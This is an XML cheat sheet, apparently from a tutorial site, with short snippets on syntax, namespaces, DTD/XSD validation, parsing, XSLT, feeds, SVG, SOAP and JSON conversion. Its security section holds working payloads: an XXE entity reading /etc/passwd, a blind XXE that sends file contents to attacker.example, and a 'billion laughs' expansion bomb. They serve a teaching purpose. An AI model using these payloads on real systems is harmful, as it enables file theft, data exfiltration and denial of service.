XML cheat sheet
A scannable XML reference: 26 short snippets across 14 topics, each linking back to the lesson it came from.
At a glance
| Topic | What it covers | |
|---|---|---|
| XML syntax and well-formedness | XML is a text format for trees. A document is a single root element containing nested elements, text and comments, and | lesson |
| Namespaces | Two vocabularies can both define an element called <title>. A namespace makes the name globally unambiguous by | lesson |
| Validation with DTD and XSD | What DTDs and XSDs can express, how to write a usable schema, and when XML is still the right choice today | lesson |
| Attributes vs child elements: modelling decisions | The id, language, status and version identify the article and never repeat. The authors and tags repeat, so they are | lesson |
| XML in configuration files | Both work because the structure is a tree that a human edits by hand and a tool validates. That is the same property | lesson |
| XML Schema in practice: reuse and evolution | The schemaLocation attribute is a hint, not an instruction. A validating parser may resolve it from a local catalogue | lesson |
| Parsing XML in code: DOM, SAX and pull parsers | Tree versus streaming models, how a SAX handler works, why a pull parser is usually the better streaming choice, and | lesson |
| XML in Python, Java and JavaScript | ElementTree and lxml, JAXP and JAXB, DOMParser and XMLSerializer in the browser, and the namespace-aware versus | lesson |
| Transforming XML with XSLT templates | The identity transform plus a handful of overrides is the safe way to make a small change to a large vocabulary. It | lesson |
| RSS, Atom and web feeds | Prefer escaping to CDATA. Escaped content survives XSLT, concatenation and naive string handling, whereas an embedded | lesson |
| SVG, XHTML and XML in the browser | The browser shows an error page rather than a partially rendered document, which is why most sites stay on text/html | lesson |
| SOAP, WSDL and legacy web services | The interoperable combination is document and literal. The rpc and encoded styles exist for historical reasons and are | lesson |
| XML security: XXE and entity expansion | When the parser expands &secret;, it reads a local file and places its contents in the document. If the application | lesson |
| JSON or XML today: migration and coexistence | The single-item list ambiguity is the most damaging difference. A converter cannot know whether one <item> should | lesson |
Quick snippets
XML syntax and well-formedness
The shape of a document
<?xml version="1.0" encoding="UTF-8"?>
<catalog xmlns="http://example.com/shop" version="1.0">
<!-- attributes are unstructured: order and repetition are not modelled -->
<book id="bk-101" available="true">
<title lang="en">Structured Data</title>
<price currency="USD">39.95</price>
<description><![CDATA[Contains & and angle brackets like <these> without escaping]]></description>
</book>
</catalog>Full lesson: XML syntax and well-formedness →
Namespaces
Working with namespaced documents
from lxml import etree
doc = etree.fromstring(b'<feed xmlns="http://www.w3.org/2005/Atom"><id>u1</id></feed>')
print(doc.xpath("/feed")) # [] - no namespace match
ns = {"a": "http://www.w3.org/2005/Atom"}
print(doc.xpath("/a:feed/a:id/text()", namespaces=ns)) # ['u1']
# a local-name() test avoids registering a prefix, but cannot use indexes
print(doc.xpath("/*[local-name()='feed']/*[local-name()='id']/text()"))
Validation with DTD and XSD
DTD versus XSD
<!-- DTD: an internal subset declaring allowed children and attributes -->
<!DOCTYPE catalog [
<!ELEMENT catalog (book+)>
<!ELEMENT book (title, price)>
<!ATTLIST book id ID #REQUIRED>
<!ELEMENT title (#PCDATA)>
<!ELEMENT price (#PCDATA)>
]>
<!-- the same constraint is far more specific in XSD -->
When XML is still the right tool
# validate against a schema, and check well-formedness on its own
xmllint --noout --schema shop.xsd catalog.xml
xmllint --noout --dtdvalid catalog.dtd catalog.xml
xmllint --noout catalog.xml && echo "parses cleanly"
# pretty-print without reformatting semantics
xmllint --format catalog.xml | head -20Full lesson: Validation with DTD and XSD →
Attributes vs child elements: modelling decisions
Mixed content and the text problem
<p>The <em>first</em> rule is to escape <code><</code> as <code>&lt;</code>.</p>
<!-- the same content with everything as elements: workable, but loses the prose -->
<para>
<text>The </text>
<em>first</em>
<text> rule is to escape </text>
<code><</code>
<text> as </text>
<code>&lt;</code>
<text>.</text>
</para>Full lesson: Attributes vs child elements: modelling decisions →
XML in configuration files
XML config in the wild
<!-- Android layout: XML describes a UI tree, which is a genuine document -->
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="match_parent"
android:layout_height="wrap_content">
<TextView
android:id="@+id/title"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/title" />
</LinearLayout>
Choosing a config format
# query config with XPath instead of grepping
xmllint --xpath '//dependency[groupId="org.junit.jupiter"]/version/text()' pom.xml
# validate before running the build
xmllint --noout --schema pom.xsd pom.xml
# formatted diff of two versions of a config tree
xmllint --format a.xml > a.pretty
xmllint --format b.xml > b.pretty
diff -u a.pretty b.prettyFull lesson: XML in configuration files →
XML Schema in practice: reuse and evolution
Versioning without breaking readers
<!-- keep both during a transition, and document the deprecation -->
<xs:sequence>
<xs:element name="total" type="shop:MoneyType"/>
<xs:element name="totalAmount" type="shop:MoneyType" minOccurs="0">
<xs:annotation>
<xs:documentation>Deprecated: use total. Removed in schema version 3.</xs:documentation>
</xs:annotation>
</xs:element>
</xs:sequence>Full lesson: XML Schema in practice: reuse and evolution →
Parsing XML in code: DOM, SAX and pull parsers
Three ways to read the same document
# DOM: everything in memory, then query
import xml.etree.ElementTree as ET
tree = ET.parse("orders.xml")
root = tree.getroot()
for order in root.findall("order"):
print(order.get("id"), order.findtext("total"))
# a 200 MB document needs well over 1 GB of heap this wayFull lesson: Parsing XML in code: DOM, SAX and pull parsers →
XML in Python, Java and JavaScript
Python: ElementTree and lxml
# lxml adds XPath, XSLT and schema validation
from lxml import etree
doc = etree.parse("orders.xml")
nsmap = {"s": "urn:example:shop"}
for total in doc.xpath("//s:order/s:total/text()", namespaces=nsmap):
print(total)
schema = etree.XMLSchema(etree.parse("order.xsd"))
print(schema.validate(doc), schema.error_log.filter_from_errors())Full lesson: XML in Python, Java and JavaScript →
Transforming XML with XSLT templates
Reshaping and grouping
<!-- XSLT 1.0 has no group-by: use the Muenchian method -->
<xsl:key name="bySku" match="s:item" use="@sku"/>
<xsl:template match="/">
<summary>
<xsl:for-each select="//s:item[generate-id() = generate-id(key('bySku', @sku)[1])]">
<product sku="{@sku}">
<quantity><xsl:value-of select="sum(key('bySku', @sku)/@qty)"/></quantity>
</product>
</xsl:for-each>
</summary>
</xsl:template>
Reshaping and grouping
# run a transform on the command line
xsltproc --output report.html report.xsl orders.xml
# validate the stylesheet itself first
xmllint --noout report.xsl
# test with a tiny fixture that exercises each template
xsltproc report.xsl fixture-minimal.xmlFull lesson: Transforming XML with XSLT templates →
RSS, Atom and web feeds
The rules that decide whether readers behave
<!-- HTML inside a feed: escape it, or wrap it in CDATA -->
<description>A short summary with <strong>bold</strong> text.</description>
<description><![CDATA[A short summary with <strong>bold</strong> text.]]></description>
<!-- CDATA cannot contain the sequence that closes it, so splitting is required -->
<description><![CDATA[Use ]]]]><![CDATA[> to close a CDATA section.]]></description>
Publishing and validating
# validate structure and formatting
xmllint --noout feed.xml
xmllint --format feed.xml | head -30
# check the date format precisely
xmllint --xpath 'string(//item/pubDate)' feed.xml
# confirm the served content type
curl -sI https://example.com/feed.xml | grep -i content-typeFull lesson: RSS, Atom and web feeds →
SVG, XHTML and XML in the browser
SVG in a page is XML
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" width="200" height="80">
<title>Request latency by hour</title>
<defs>
<linearGradient id="fade" x1="0" y1="0" x2="0" y2="1">
<stop offset="0" stop-color="#4c8bf5"/>
<stop offset="1" stop-color="#4c8bf5" stop-opacity="0"/>
</linearGradient>
</defs>
<rect x="0" y="0" width="200" height="80" fill="url(#fade)"/>
<circle cx="40" cy="40" r="6" fill="#fff"/>
<path d="M10 60 L60 30 L110 45 L160 15" fill="none" stroke="#fff" stroke-width="2"/>
</svg>
SVG in a page is XML
<svg xmlns="http://www.w3.org/2000/svg" width="240" height="60">
<foreignObject x="0" y="0" width="240" height="60">
<div xmlns="http://www.w3.org/1999/xhtml" style="font: 14px sans-serif">
Regular HTML inside SVG, with a <b>bold</b> word.
</div>
</foreignObject>
</svg>
Serving a page as XML
GET /page HTTP/1.1
HTTP/1.1 200 OK
Content-Type: application/xhtml+xml; charset=utf-8
<!-- parsed in XML mode: any error is a fatal parse error -->Full lesson: SVG, XHTML and XML in the browser →
SOAP, WSDL and legacy web services
The envelope is the whole protocol
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:shop="urn:example:shop">
<soap:Header>
<shop:AuthToken soap:mustUnderstand="true">abc123</shop:AuthToken>
</soap:Header>
<soap:Body>
<shop:GetOrder>
<shop:orderId>1024</shop:orderId>
</shop:GetOrder>
</soap:Body>
</soap:Envelope>
Reading a WSDL
# inspect a WSDL and see the available operations
curl -s "https://service.example.com/OrderService?wsdl" | xmllint --format - | head -60
# call an operation by hand to see the real wire format
curl -s -X POST https://service.example.com/OrderService \
-H 'Content-Type: application/soap+xml; charset=utf-8' \
-H 'SOAPAction: "urn:example:shop/GetOrder"' \
--data-binary @request.xml | xmllint --format -
When SOAP is still the right answer
POST /OrderService HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8; action="urn:example:shop/GetOrder"
SOAPAction: "urn:example:shop/GetOrder"
<!-- 1.1 puts the action in the SOAPAction header with quotes;
1.2 puts it in the content type parameter.
Sending the wrong one is a frequent interoperability failure. -->Full lesson: SOAP, WSDL and legacy web services →
XML security: XXE and entity expansion
External entities
<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY secret SYSTEM "file:///etc/passwd">
]>
<order>
<note>&secret;</note>
</order>
External entities
<!-- blind XXE: no echo needed, the value is sent by the parser itself -->
<!DOCTYPE order [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
%dtd;
]>
<order>&send;</order>
<!-- evil.dtd on the attacker's server
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.example/?%file;'>">
%all;
-->
Entity expansion attacks
<!-- billion laughs: ten levels of ten, a few hundred bytes becomes gigabytes -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>Full lesson: XML security: XXE and entity expansion →
JSON or XML today: migration and coexistence
Two data models, not two syntaxes
<!-- XML: the language is an attribute, the text is content -->
<message lang="en">Hello</message>
<!-- JSON has no place for the attribute except as a key -->
{ "lang": "en", "text": "Hello" }
Converting without losing meaning
<!-- a convention that survives a round trip: mark attributes and types -->
<order id="1">
<placedAt type="date">2026-09-18</placedAt>
<items>
<item sku="A1" qty="2"/>
</items>
</order>
Converting without losing meaning
{
"@id": "1",
"placedAt": "2026-09-18",
"placedAtType": "date",
"items": { "item": [ { "@sku": "A1", "@qty": "2" } ] }
}Full lesson: JSON or XML today: migration and coexistence →
FAQ
Is this XML cheat sheet free to use?
Where do the examples come from?
How do I go deeper than a cheat sheet?
Related cheat sheets
XPath XSLT SOAP RESTful APIs RSS & Atom
Last refreshed 2026-09-27.